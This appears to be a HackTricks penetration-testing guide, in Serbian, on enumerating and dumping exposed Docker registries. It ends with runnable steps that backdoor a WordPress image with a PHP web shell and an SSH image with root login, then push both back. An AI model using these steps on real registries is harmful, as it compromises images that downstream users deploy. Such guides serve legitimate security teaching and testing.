hacktricks/network-services-pentesting/5000-pentesting-docker-registry.md

# 5000 - Pentesting Docker Registry

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## Basic Information

Sistem za skladištenje i distribuciju poznat kao **Docker registry** je uspostavljen za Docker slike koje su imenovane i mogu dolaziti u više verzija, razlikujući se po oznakama. Ove slike su organizovane unutar **Docker repositories** u registru, pri čemu svaki repozitorij skladišti različite verzije specifične slike. Funkcionalnost koja je obezbeđena omogućava preuzimanje slika lokalno ili njihovo učitavanje u registar, pod pretpostavkom da korisnik ima potrebne dozvole.

**DockerHub** služi kao podrazumevani javni registar za Docker, ali korisnici takođe imaju opciju da upravljaju lokalnom verzijom open-source Docker registry/distribucije ili da se odluče za komercijalno podržani **Docker Trusted Registry**. Pored toga, razni drugi javni registri mogu se naći na mreži.

Da biste preuzeli sliku iz lokalnog registra, koristi se sledeća komanda:
```bash
docker pull my-registry:9000/foo/bar:2.1
```
Ova komanda preuzima `foo/bar` sliku verzije `2.1` iz lokalnog registra na `my-registry` domenu na portu `9000`. Nasuprot tome, da preuzmete istu sliku sa DockerHub-a, posebno ako je `2.1` najnovija verzija, komanda se pojednostavljuje na:
```bash
docker pull foo/bar
```
**Podrazumevani port:** 5000
```
PORT    STATE SERVICE  VERSION
5000/tcp open  http    Docker Registry (API: 2.0)
```
## Otkriće

Najlakši način da otkrijete ovu uslugu koja radi je da je dobijete u izlazu nmap-a. U svakom slučaju, imajte na umu da, pošto je to HTTP zasnovana usluga, može biti iza HTTP proksija i nmap je neće otkriti.\
Neki otisci:

* Ako pristupite `/` ništa se ne vraća u odgovoru
* Ako pristupite `/v2/` tada se vraća `{}` 
* Ako pristupite `/v2/_catalog` možete dobiti:
* `{"repositories":["alpine","ubuntu"]}`
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`

## Enumeracija

### HTTP/HTTPS

Docker registry može biti konfigurisana da koristi **HTTP** ili **HTTPS**. Tako da je prva stvar koju možda treba da uradite da **pronađete koji se koristi**:
```bash
curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.

#If HTTP
{"repositories":["alpine","ubuntu"]}
```
### Authentication

Docker registry može biti konfiguran da zahteva **authentication**:
```bash
curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}
```
Ako Docker Registry zahteva autentifikaciju, možete[ **pokušati da je brute force-ujete koristeći ovo**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
**Ako pronađete važeće akreditive, moraćete da ih koristite** za enumeraciju registra, u `curl`-u ih možete koristiti ovako:
```bash
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
```
### Enumeration using DockerRegistryGrabber

[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) je python alat za enumeraciju / dump docker registra (bez ili sa osnovnom autentifikacijom)
```bash
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url

____   ____    ____
|  _ \ |  _ \  / ___|
| | | || |_) || |  _
| |_| ||  _ < | |_| |
|____/ |_| \_\ \____|
Docker Registry grabber tool v2
by @SyzikSecu

positional arguments:
url                URL

options:
-h, --help         show this help message and exit
-p port            port to use (default : 5000)

Authentication:
-U USERNAME        Username
-P PASSWORD        Password
-A header          Authorization bearer token

Actions:
--list
--dump_all
--dump DOCKERNAME  DockerName

Example commands:
python drg.py http://127.0.0.1 --list
python drg.py http://127.0.0.1 --dump my-ubuntu
python drg.py http://127.0.0.1 --dump_all
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --list
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump my-ubuntu
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump_all

python3 DockerGraber.py http://127.0.0.1  --list

[+] my-ubuntu
[+] my-ubuntu2

python3 DockerGraber.py http://127.0.0.1  --dump my-ubuntu

[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888

python3 DockerGraber.py http://127.0.0.1  --dump_all

[+] my-ubuntu
[+] my-ubuntu2
[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
[+] blobSum found 5
[+] Dumping my-ubuntu2
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
```
### Enumeration using curl

Kada ste **dobili pristup docker registru**, evo nekoliko komandi koje možete koristiti za enumeraciju:
```bash
#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}

#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}

#Get manifests
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
{
"schemaVersion": 1,
"name": "ubuntu",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
},
{
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop)  CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
}
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
"kty": "EC",
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
},
"alg": "ES256"
},
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
}
]
}

#Download one of the previously listed blobs
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar

#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
```
{% hint style="warning" %}
Napomena da kada preuzmete i dekompresujete blobove, fajlovi i folderi će se pojaviti u trenutnom direktorijumu. **Ako preuzmete sve blobove i dekompresujete ih u istom folderu, oni će prepisati vrednosti prethodno dekompresovanih blobova**, pa budite oprezni. Može biti zanimljivo dekompresovati svaki blob unutar različitog foldera kako biste pregledali tačan sadržaj svakog bloba.
{% endhint %}

### Enumeracija koristeći docker
```bash
#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu

#Check the commands used to create the layers of the image
docker history 10.10.10.10:5000/ubuntu
#IMAGE               CREATED             CREATED BY                                      SIZE                COMMENT
#ed05bef01522        2 years ago         ./run.sh                                        46.8MB
#<missing>           2 years ago         /bin/sh -c #(nop)  CMD ["./run.sh"]             0B
#<missing>           2 years ago         /bin/sh -c #(nop)  EXPOSE 80                    0B
#<missing>           2 years ago         /bin/sh -c cp $base/mysql-setup.sh /            499B
#<missing>           2 years ago         /bin/sh -c #(nop) COPY dir:0b657699b1833fd59…   16.2MB

#Run and get a shell
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
```
### Backdooring WordPress image

U scenariju gde ste pronašli Docker Registry koji čuva wordpress sliku, možete je kompromitovati.\
**Kreirajte** **backdoor**:

{% code title="shell.php" %}
```bash
<?php echo shell_exec($_GET["cmd"]); ?>
```
{% endcode %}

Kreirajte **Dockerfile**:

{% code title="Dockerfile" %}
```bash
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php
```
{% endcode %}

**Kreirajte** novu sliku, **proverite** da li je kreirana, i **gurnite** je:
```bash
docker build -t 10.10.10.10:5000/wordpress .
#Create
docker images
docker push registry:5000/wordpress #Push it
```
### Backdooring SSH server image

Pretpostavimo da ste pronašli Docker Registry sa SSH slikom i želite da je backdoor-ujete.\
**Preuzmite** sliku i **pokrenite** je:
```bash
docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli
```
Izvucite `sshd_config` datoteku iz SSH slike:
```bash
docker cp 4c989242c714:/etc/ssh/sshd_config .
```
I izmenite ga da postavite: `PermitRootLogin yes`

Kreirajte **Dockerfile** kao što je sledeći: 

{% tabs %}
{% tab title="Dockerfile" %}
```bash
FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd
```
{% endtab %}
{% endtabs %}

**Kreirajte** novu sliku, **proverite** da li je kreirana, i **gurnite** je:
```bash
docker build -t 10.10.10.10:5000/sshd-docker-cli .
#Create
docker images
docker push registry:5000/sshd-docker-cli #Push it
```
## References
* [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)

{% hint style="success" %}
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{% endhint %}